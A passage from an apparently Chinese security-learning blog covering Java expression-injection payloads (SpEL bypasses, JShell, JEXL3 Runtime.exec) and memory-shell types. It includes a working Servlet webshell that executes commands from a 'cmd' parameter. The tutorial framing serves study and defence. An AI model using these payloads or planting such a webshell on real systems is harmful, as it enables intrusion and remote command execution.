\u9ed1\u540d\u5355\u8fc7\u6ee4\".getClass(\"\uff0c\u53ef\u5229\u7528\u6570\u7ec4\u7684\u65b9\u5f0f\u7ed5\u8fc7\uff0c\u8fd8\u672a\u6d4b\u8bd5\u6210\u529f\n''&#91;'class'].forName('java.lang.Runtime').getDeclaredMethods()&#91;15].invoke(''&#91;'class'].forName('java.lang.Runtime').getDeclaredMethods()&#91;7].invoke(null),'calc')\n\n\/\/ JDK9\u65b0\u589e\u7684shell\uff0c\u8fd8\u672a\u6d4b\u8bd5\nT(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass(\"jdk.jshell.JShell\",true).Methods&#91;6].invoke(null,{}).eval('whatever java code in one statement').toString()<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">JEXL3\u8868\u8fbe\u5f0f<\/h2>\n\n\n\n<p>JEXL\uff08Java Expression Language\uff09\u662f Apache Commons \u63d0\u4f9b\u7684\u4e00\u4e2a Java \u8868\u8fbe\u5f0f\u8bed\u8a00\u5e93\uff0cJEXL3 \u662f\u5b83\u7684\u7b2c\u4e09\u4ee3\u5b9e\u73b0\uff0c\u63d0\u4f9b\u4e86\u7c7b\u4f3c Java \u8bed\u6cd5\u7684\u8868\u8fbe\u5f0f\u89e3\u6790\u548c\u6267\u884c\u529f\u80fd\uff0c\u5e38\u7528\u4e8e\u89c4\u5219\u5f15\u64ce\u3001\u6a21\u677f\u6e32\u67d3\u3001\u811a\u672c\u6267\u884c\u7b49\u573a\u666f\u3002JEXL \u8868\u8fbe\u5f0f\u662f\u4e00\u79cd <strong>\u7b80\u5316\u7248\u7684 Java \u8bed\u6cd5\u8868\u8fbe\u5f0f<\/strong>\uff0c\u5b83\u8fd0\u884c\u5728 Java \u865a\u62df\u673a\u4e0a\uff0c\u53ef\u4ee5\u8bbf\u95ee\u53d8\u91cf\u3001\u8c03\u7528\u65b9\u6cd5\u3001\u8fd0\u7b97\u7b49\uff0c\u4f7f\u7528\u6b65\u9aa4\u4e00\u822c\u662f\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u7531 JEXL \u5f15\u64ce\u89e3\u6790\u5e76\u6267\u884c\u8868\u8fbe\u5f0f\u3002<\/li>\n\n\n\n<li>\u521b\u5efa\u4e0a\u4e0b\u6587\uff08Context\uff09\u5e76\u8bbe\u7f6e\u53d8\u91cf\uff1b<\/li>\n\n\n\n<li>\u7f16\u5199\u8868\u8fbe\u5f0f\uff1b<\/li>\n<\/ul>\n\n\n\n<p>\u5148\u52a0\u4e00\u4e0b\u4f9d\u8d56\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;dependency&gt;\n    &lt;groupId&gt;org.apache.commons&lt;\/groupId&gt;\n    &lt;artifactId&gt;commons-jexl3&lt;\/artifactId&gt;\n    &lt;version&gt;3.0&lt;\/version&gt;\n&lt;\/dependency&gt;<\/code><\/pre>\n\n\n\n<p>\u8be6\u7ec6\u7684\u6587\u7ae0\u63a8\u8350\u8fd9\u4e00\u7bc7\uff1a<a href=\"https:\/\/xz.aliyun.com\/news\/7694\">Nexus Repository Manager3 JEXL3\u8868\u8fbe\u5f0f\u6ce8\u5165\u6d45\u6790<\/a>\uff0c\u5199\u4e2a\u7b80\u5355\u7684\u5c0fdemo\u770b\u770b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package com.itheima.controller;\n\nimport org.apache.commons.jexl3.*;\n\npublic class JexlDemo {\n    public static void main(String&#91;] args) {\n        \/\/ \u521b\u5efa JEXL \u5f15\u64ce\n        JexlEngine jexl = new JexlBuilder().create();\n\n        \/\/ \u5b9a\u4e49\u8868\u8fbe\u5f0f\n        String expr = \"user.name + ' \u7684\u5e74\u9f84\u662f ' + user.age\";\n\n        \/\/ \u521b\u5efa\u8868\u8fbe\u5f0f\u5bf9\u8c61\n        JexlExpression jexlExpr = jexl.createExpression(expr);\n\n        \/\/ \u8bbe\u7f6e\u4e0a\u4e0b\u6587\u53d8\u91cf\n        JexlContext context = new MapContext();\n        context.set(\"user\", new User(\"\u5854\u83f2\", 18));\n\n        \/\/ \u6267\u884c\u8868\u8fbe\u5f0f\n        Object result = jexlExpr.evaluate(context);\n        System.out.println(result); \/\/ \u8f93\u51fa\uff1a\u5854\u83f2 \u7684\u5e74\u9f84\u662f 18\n    }\n\n    public static class User {\n        public String name;\n        public int age;\n\n        public User(String name, int age) {\n            this.name = name;\n            this.age = age;\n        }\n    }\n}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250507-221249-7-2.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250507-221249-7-2.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u53ef\u4ee5\u60f3\u89c1\uff0c\u65e2\u7136\u4ed6\u662f\u7b80\u5316\u7248\u7684Java\u8bed\u6cd5\u8868\u8fbe\u5f0f\uff0c\u81ea\u7136\u4e5f\u662f\u53ef\u4ee5\u76f4\u63a5\u6267\u884c\u547d\u4ee4\u7684\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package com.itheima.controller;\n\nimport org.apache.commons.jexl3.*;\n\npublic class JexlTest {\n    public static void main(String&#91;] args) {\n        String Exp = \"233.class.forName('java.lang.Runtime').getRuntime().exec('calc')\";\n\n        JexlEngine engine = new JexlBuilder().create();\n        JexlExpression Expression = engine.createExpression(Exp);\n\n        JexlContext Context = new MapContext();\n\n        Object rs = Expression.evaluate(Context);\n        System.out.println(rs);\n    }\n}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250507-221448-7-3.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250507-221448-7-3.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:736px;height:auto\"\/><\/div><\/figure>\n\n\n\n<h1 class=\"wp-block-heading\">\u5185\u5b58\u9a6c<\/h1>\n\n\n\n<p>Java \u5185\u5b58\u9a6c\uff08Memory Shell\uff09 \u662f\u4e00\u79cd\u9ad8\u7ea7\u6301\u4e45\u5316\u653b\u51fb\u6280\u672f\uff0c\u5b83\u4e0d\u4f9d\u8d56\u4e8e\u78c1\u76d8\u6587\u4ef6\uff0c\u800c\u662f\u901a\u8fc7\u4ee3\u7801\u52a8\u6001\u6ce8\u5165\u3001\u7c7b\u52a0\u8f7d\u5668\u3001\u53cd\u5c04\u3001\u5b57\u8282\u7801\u64cd\u4f5c\u7b49\u65b9\u5f0f\uff0c\u5c06\u6076\u610f\u4ee3\u7801\u76f4\u63a5\u201c\u6302\u8f7d\u201d\u5230\u8fd0\u884c\u4e2d\u7684 Java \u5e94\u7528\u7a0b\u5e8f\u5185\u5b58\u4e2d\uff0c\u4ece\u800c\u5b9e\u73b0\u6301\u4e45\u63a7\u5236\u548c\u547d\u4ee4\u6267\u884c\u3002<\/p>\n\n\n\n<p>\u7b80\u5355\u6765\u8bf4\uff0c\u5185\u5b58\u9a6c\u662f\u5728\u4e0d\u843d\u5730\u5199\u6587\u4ef6\u7684\u60c5\u51b5\u4e0b\uff0c\u628a\u540e\u95e8\u9690\u85cf\u5728\u5185\u5b58\u4e2d\uff0c\u901a\u5e38\u6302\u5728 Web \u5bb9\u5668\uff08\u5982 Tomcat\u3001Spring\u3001Jetty\uff09\u5185\u90e8\u7684\u7279\u5b9a\u6267\u884c\u94fe\u8def\u4e0a\uff0c\u6838\u5fc3\u539f\u7406\u6709\u4e0b\u9762\u51e0\u4e2a\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Java \u52a8\u6001\u6027<\/strong>\uff1aJava \u5141\u8bb8\u8fd0\u884c\u65f6\u52a0\u8f7d\u7c7b\uff08\u5982 <code>defineClass<\/code>\uff09\uff0c\u751a\u81f3\u4fee\u6539\u73b0\u6709\u7c7b\u7684\u884c\u4e3a\u3002<\/li>\n\n\n\n<li><strong>\u7c7b\u52a0\u8f7d\u5668\uff08ClassLoader\uff09\u673a\u5236<\/strong>\uff1a\u653b\u51fb\u8005\u53ef\u5c06\u6076\u610f\u7c7b\u52a0\u8f7d\u8fdb JVM\uff0c\u52a0\u5165\u5df2\u6709\u7684\u7c7b\u52a0\u8f7d\u94fe\u3002<\/li>\n\n\n\n<li><strong>\u53cd\u5c04\u4e0e Unsafe<\/strong>\uff1a\u53ef\u4ee5\u7a81\u7834\u8bbf\u95ee\u63a7\u5236\uff0c\u4fee\u6539\u4e0d\u53ef\u8bbf\u95ee\u5b57\u6bb5\u3001\u6ce8\u518c\u7ec4\u4ef6\u3002<\/li>\n\n\n\n<li><strong>Web \u5bb9\u5668\u6267\u884c\u94fe\u52ab\u6301<\/strong>\uff1a\u901a\u8fc7\u4fee\u6539 <code>Filter<\/code>\u3001<code>Servlet<\/code>\u3001<code>Listener<\/code> \u7b49\u7ec4\u4ef6\u884c\u4e3a\uff0c\u5b9e\u73b0\u63a7\u5236\u6d41\u52ab\u6301\u3002<\/li>\n\n\n\n<li><strong>\u6076\u610f\u7ec4\u4ef6\u6ce8\u5165<\/strong>\uff1a\u6ce8\u5165\u6076\u610f\u7684 <code>Filter<\/code> \/ <code>Servlet<\/code> \u7b49\uff0c\u6210\u4e3a\u201c\u9a6c\u201d\u3002<\/li>\n<\/ul>\n\n\n\n<p>\u5e38\u89c1\u7684\u5185\u5b58\u9a6c\u6709\u8fd9\u56db\u79cd\uff0c\u76ee\u524d\u4e5f\u5c31\u5148\u5b66\u8fd9\u56db\u79cd\u4e86\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><thead><tr><th>\u7c7b\u578b<\/th><th>\u7b80\u4ecb<\/th><th>\u6302\u8f7d\u65b9\u5f0f<\/th><\/tr><\/thead><tbody><tr><td><code>Filter\u578b<\/code> \u5185\u5b58\u9a6c<\/td><td>\u6ce8\u518c\u6076\u610f Filter \u62e6\u622a\u8bf7\u6c42<\/td><td><code>FilterRegistrationBean<\/code> \u52a8\u6001\u6ce8\u518c\u6216\u53cd\u5c04<\/td><\/tr><tr><td><code>Servlet\u578b<\/code> \u5185\u5b58\u9a6c<\/td><td>\u6ce8\u518c\u6076\u610f Servlet \u5904\u7406\u8def\u5f84<\/td><td>\u53cd\u5c04\u4fee\u6539 ServletContext<\/td><\/tr><tr><td><code>Listener\u578b<\/code> \u5185\u5b58\u9a6c<\/td><td>\u6ce8\u518c\u76d1\u542c\u5668\u6267\u884c\u6076\u610f\u4ee3\u7801<\/td><td>\u6dfb\u52a0\u76d1\u542c\u5668\u5bf9\u8c61<\/td><\/tr><tr><td><code>Agent\u578b<\/code> \u5185\u5b58\u9a6c<\/td><td>\u4f7f\u7528 <code>Instrumentation<\/code> \u52a8\u6001\u4fee\u6539\u7c7b\u5b57\u8282\u7801<\/td><td>Java Agent attach \u81ea\u6ce8\u5165<\/td><\/tr><tr><td><code>Valve\u578b<\/code> \u5185\u5b58\u9a6c<\/td><td>\u6ce8\u518c\u81ea\u5b9a\u4e49 <code>Valve<\/code>\uff0c\u5b9e\u73b0\u5bf9\u8bf7\u6c42\u7684\u5e95\u5c42\u62e6\u622a\u548c\u5904\u7406<\/td><td>\u901a\u8fc7\u53cd\u5c04\u83b7\u53d6 StandardContext \u6216 Engine\uff0c\u8c03\u7528pipeline.addValve() \u52a8\u6001\u6ce8\u518c<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Servlet\u578b\u5185\u5b58\u9a6c<\/h2>\n\n\n\n<p>Servlet \u662f Java EE\uff08\u73b0 Jakarta EE\uff09\u4e2d\u7684\u4e00\u4e2a\u7528\u4e8e\u5904\u7406\u8bf7\u6c42\u5e76\u751f\u6210\u54cd\u5e94\u7684\u670d\u52a1\u7aef\u7ec4\u4ef6\uff0c\u672c\u8d28\u4e0a\u662f\u8fd0\u884c\u5728 Web \u670d\u52a1\u5668\uff08\u5982 Tomcat\uff09\u4e2d\u7684 Java \u7c7b\uff0c\u4e13\u95e8\u7528\u4e8e\u54cd\u5e94 HTTP \u8bf7\u6c42\uff0c\u901a\u5e38\u7528\u6765\u6784\u5efa\u52a8\u6001\u7f51\u9875\u3002\u7b80\u5355\u6765\u8bf4\uff0cServlet \u662f\u4e00\u79cd\u7528\u4e8e\u6269\u5c55\u670d\u52a1\u5668\u529f\u80fd\u3001\u4e13\u95e8\u5904\u7406 Web \u8bf7\u6c42\uff08\u5982 HTTP\uff09\u7684 Java \u7a0b\u5e8f\uff0c\u8fd0\u884c\u5728 Servlet \u5bb9\u5668\u4e2d\u3002<\/p>\n\n\n\n<p>\u8fd9\u91cc\u6211\u4eec\u5199\u4e00\u4e2aServletDemo.java\uff08\u4e0a\u4e00\u7ae0\u7684\u65f6\u5019\u60f3\u5fc5\u5927\u4f19\u5df2\u7ecf\u5b66\u4f1a\u4e86\u5982\u4f55\u7528tomcat\u642d\u5efa\u4e00\u4e2a\u7b80\u5355\u7684web\u670d\u52a1\uff09\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import javax.servlet.*;\nimport javax.servlet.annotation.WebServlet;\nimport java.io.IOException;\n\n\/\/ \u901a\u8fc7\u6ce8\u89e3\u914d\u7f6e\u8def\u7531\u8def\u5f84\uff0c\u8bbf\u95ee http:\/\/localhost:8080\/\u4f60\u7684\u9879\u76ee\u540d\/bkfish \u4f1a\u89e6\u53d1\u8fd9\u4e2a Servlet\n@WebServlet(\"\/bkfish\")\npublic class ServletDemo implements Servlet {\n\n    \/**\n     * Servlet \u88ab\u521b\u5efa\u65f6\u8c03\u7528\uff0c\u53ea\u6267\u884c\u4e00\u6b21\u3002\n     * \u901a\u5e38\u7528\u4e8e\u521d\u59cb\u5316\u8d44\u6e90\uff08\u5982\u6570\u636e\u5e93\u8fde\u63a5\u3001\u6587\u4ef6\u3001\u7f13\u5b58\u7b49\uff09\u3002\n     *\/\n    @Override\n    public void init(ServletConfig config) throws ServletException {\n        System.out.println(\"init - Servlet \u521d\u59cb\u5316\");\n    }\n\n    \/**\n     * \u6bcf\u6b21\u6709\u8bf7\u6c42\u8bbf\u95ee\u8fd9\u4e2a Servlet \u65f6\uff0c\u90fd\u4f1a\u8c03\u7528 service() \u65b9\u6cd5\u3002\n     * \u6240\u6709\u7684\u4e1a\u52a1\u903b\u8f91\u3001\u8bf7\u6c42\u5904\u7406\u3001\u54cd\u5e94\u8f93\u51fa\u90fd\u5e94\u5199\u5728\u8fd9\u91cc\u3002\n     *\/\n    @Override\n    public void service(ServletRequest request, ServletResponse response)\n            throws ServletException, IOException {\n        System.out.println(\"service - \u5904\u7406\u8bf7\u6c42\");\n\n        \/\/ \u8bbe\u7f6e\u54cd\u5e94\u5185\u5bb9\u7c7b\u578b\uff08\u5426\u5219\u6d4f\u89c8\u5668\u53ef\u80fd\u4e71\u7801\uff09\n        response.setContentType(\"text\/html;charset=UTF-8\");\n\n        \/\/ \u83b7\u53d6\u8f93\u51fa\u6d41\uff0c\u5199\u56de\u6d4f\u89c8\u5668\n        response.getWriter().write(\"&lt;h1&gt;\u4f60\u597d\uff0c\u5854\u83f2\uff01Servlet \u8fd0\u884c\u6210\u529f\uff01&lt;\/h1&gt;\");\n    }\n\n    \/**\n     * \u5f53 Servlet \u88ab\u9500\u6bc1\u65f6\u8c03\u7528\uff08\u5982\u9879\u76ee\u91cd\u542f\u3001\u670d\u52a1\u5668\u5173\u95ed\uff09\u3002\n     * \u901a\u5e38\u7528\u4e8e\u8d44\u6e90\u91ca\u653e\uff08\u5982\u5173\u95ed\u6570\u636e\u5e93\u8fde\u63a5\u3001\u7ebf\u7a0b\u6c60\u7b49\uff09\u3002\n     *\/\n    @Override\n    public void destroy() {\n        System.out.println(\"destroy - Servlet \u9500\u6bc1\");\n    }\n\n    \/**\n     * \u83b7\u53d6 Servlet \u7684\u914d\u7f6e\u4fe1\u606f\uff08\u8f83\u5c11\u4f7f\u7528\uff0c\u4e00\u822c\u7528\u4e0d\u5230\uff09\u3002\n     *\/\n    @Override\n    public ServletConfig getServletConfig() {\n        return null;\n    }\n\n    \/**\n     * \u83b7\u53d6 Servlet \u7684\u63cf\u8ff0\u4fe1\u606f\uff08\u53ef\u7528\u4e8e\u6587\u6863\/\u65e5\u5fd7\uff0c\u4e00\u822c\u7528\u4e0d\u5230\uff09\u3002\n     *\/\n    @Override\n    public String getServletInfo() {\n        return \"\u8fd9\u662f\u4e00\u4e2a\u7b80\u5355\u7684 Servlet \u793a\u4f8b\";\n    }\n}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250507-233249-7-4.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250507-233249-7-4.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>Servlet\u7684\u751f\u547d\u5468\u671f\u5982\u4e0b\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><thead><tr><th>\u751f\u547d\u5468\u671f\u9636\u6bb5<\/th><th>\u5bf9\u5e94\u65b9\u6cd5<\/th><th>\u89e6\u53d1\u65f6\u673a<\/th><\/tr><\/thead><tbody><tr><td>\u521d\u59cb\u5316<\/td><td><code>init()<\/code><\/td><td>\u7b2c\u4e00\u6b21\u8bf7\u6c42 Servlet \u65f6\u7531\u5bb9\u5668\u81ea\u52a8\u8c03\u7528\uff0c\u53ea\u6267\u884c\u4e00\u6b21<\/td><\/tr><tr><td>\u8bf7\u6c42\u5904\u7406<\/td><td><code>service()<\/code><\/td><td>\u6bcf\u6b21\u8bf7\u6c42\u90fd\u4f1a\u6267\u884c\u4e00\u6b21\uff08\u53ef\u5904\u7406\u6240\u6709\u8bf7\u6c42\u7c7b\u578b\uff09<\/td><\/tr><tr><td>\u9500\u6bc1<\/td><td><code>destroy()<\/code><\/td><td>\u5e94\u7528\u5173\u95ed\u3001\u91cd\u542f\u6216\u5bb9\u5668\u5378\u8f7d Servlet \u65f6\u8c03\u7528\uff0c\u53ea\u6267\u884c\u4e00\u6b21<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>\u5f53\u6211\u4eec\u8bbf\u95eebkfish\u8fd9\u4e2a\u63a5\u53e3\u7684\u65f6\u5019\uff0c\u65e5\u5fd7\u5982\u4e0b\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250507-233514-7-5.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250507-233514-7-5.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u5f53\u6211\u4eec\u5173\u95edtomcat\uff0c\u5c31\u4f1a\u663e\u793a\u6467\u6bc1\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250507-233616-7-6.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250507-233616-7-6.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u8fd9\u6837\u6211\u4eec\u5c31\u7b80\u5355\u7684\u8d70\u4e86\u4e00\u904d Servlet \u7684\u5de5\u4f5c\u6d41\u7a0b\uff0c\u5927\u81f4\u660e\u767d\u5b83\u662f\u600e\u4e48\u4e2a\u4e8b\u513f\u3002<\/p>\n\n\n\n<p>\u90a3\u4e48\u73b0\u5728\u5982\u679c\u6211\u4eec\u60f3\u6267\u884c\u6076\u610f\u4ee3\u7801\uff0c\u81ea\u7136\u800c\u7136\u5c31\u4f1a\u60f3\u5230\u5728service\u65b9\u6cd5\u91cc\u5199\u5165\u4ee3\u7801\uff0c\u6bd4\u5982\u5199\u4e00\u4e2a\u9a6c\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package com.itheima.controller;\n\nimport javax.servlet.*;\nimport javax.servlet.annotation.WebServlet;\nimport java.io.IOException;\n\n\/\/ \u901a\u8fc7\u6ce8\u89e3\u914d\u7f6e\u8def\u7531\u8def\u5f84\uff0c\u8bbf\u95ee http:\/\/localhost:8080\/\u4f60\u7684\u9879\u76ee\u540d\/bkfish  \u4f1a\u89e6\u53d1\u8fd9\u4e2a Servlet\n@WebServlet(\"\/bkfish\")\npublic class ServletDemo implements Servlet {\n\n    \/**\n     * Servlet \u88ab\u521b\u5efa\u65f6\u8c03\u7528\uff0c\u53ea\u6267\u884c\u4e00\u6b21\u3002\n     * \u901a\u5e38\u7528\u4e8e\u521d\u59cb\u5316\u8d44\u6e90\uff08\u5982\u6570\u636e\u5e93\u8fde\u63a5\u3001\u6587\u4ef6\u3001\u7f13\u5b58\u7b49\uff09\u3002\n     *\/\n    @Override\n    public void init(ServletConfig config) throws ServletException {\n        System.out.println(\"init - Servlet \u521d\u59cb\u5316\");\n    }\n\n    \/**\n     * \u6bcf\u6b21\u6709\u8bf7\u6c42\u8bbf\u95ee\u8fd9\u4e2a Servlet \u65f6\uff0c\u90fd\u4f1a\u8c03\u7528 service() \u65b9\u6cd5\u3002\n     * \u6240\u6709\u7684\u4e1a\u52a1\u903b\u8f91\u3001\u8bf7\u6c42\u5904\u7406\u3001\u54cd\u5e94\u8f93\u51fa\u90fd\u5e94\u5199\u5728\u8fd9\u91cc\u3002\n     *\/\n    @Override\n    public void service(ServletRequest request, ServletResponse response)\n            throws ServletException, IOException {\n        System.out.println(\"service - \u5904\u7406\u8bf7\u6c42\");\n\n        String cmd = request.getParameter(\"cmd\");\n        if (cmd!= null) {\n            Process process = Runtime.getRuntime().exec(cmd);\n            java.io.BufferedReader bufferedReader = new java.io.BufferedReader(\n                    new java.io.InputStreamReader(process.getInputStream()));\n            StringBuilder stringBuilder = new StringBuilder();\n            String line;\n            while ((line = bufferedReader.readLine()) != null) {\n                stringBuilder.append(line + '\\n');\n            }\n            response.getOutputStream().write(stringBuilder.toString().getBytes());\n            response.getOutputStream().flush();\n            response.getOutputStream().close();\n            return;\n        }\n    }\n\n    \/**\n     * \u5f53 Servlet \u88ab\u9500\u6bc1\u65f6\u8c03\u7528\uff08\u5982\u9879\u76ee\u91cd\u542f\u3001\u670d\u52a1\u5668\u5173\u95ed\uff09\u3002\n     * \u901a\u5e38\u7528\u4e8e\u8d44\u6e90\u91ca\u653e\uff08\u5982\u5173\u95ed\u6570\u636e\u5e93\u8fde\u63a5\u3001\u7ebf\u7a0b\u6c60\u7b49\uff09\u3002\n     *\/\n    @Override\n    public void destroy() {\n        System.out.println(\"destroy - Servlet \u9500\u6bc1\");\n    }\n\n    \/**\n     * \u83b7\u53d6 Servlet \u7684\u914d\u7f6e\u4fe1\u606f\uff08\u8f83\u5c11\u4f7f\u7528\uff0c\u4e00\u822c\u7528\u4e0d\u5230\uff09\u3002\n     *\/\n    @Override\n    public ServletConfig getServletConfig() {\n        return null;\n    }\n\n    \/**\n     * \u83b7\u53d6 Servlet \u7684\u63cf\u8ff0\u4fe1\u606f\uff08\u53ef\u7528\u4e8e\u6587\u6863\/\u65e5\u5fd7\uff0c\u4e00\u822c\u7528\u4e0d\u5230\uff09\u3002\n     *\/\n    @Override\n    public String getServletInfo() {\n        return \"\u8fd9\u662f\u4e00\u4e2a\u7b80\u5355\u7684 Servlet \u793a\u4f8b\";\n    }\n}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250508-211110-8-4.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250508-211110-8-4.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u52a0\u4e00\u4e2a\u4f9d\u8d56\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;!-- https:\/\/mvnrepository.com\/artifact\/org.apache.tomcat\/tomcat-catalina --&gt;\n&lt;dependency&gt;\n    &lt;groupId&gt;org.apache.tomcat&lt;\/groupId&gt;\n    &lt;artifactId&gt;tomcat-catalina&lt;\/artifactId&gt;\n    &lt;version&gt;9.0.85&lt;\/version&gt;\n    &lt;scope&gt;provided&lt;\/scope&gt;\n&lt;\/dependency&gt;<\/code><\/pre>\n\n\n\n<p>\u53c2\u8003<a 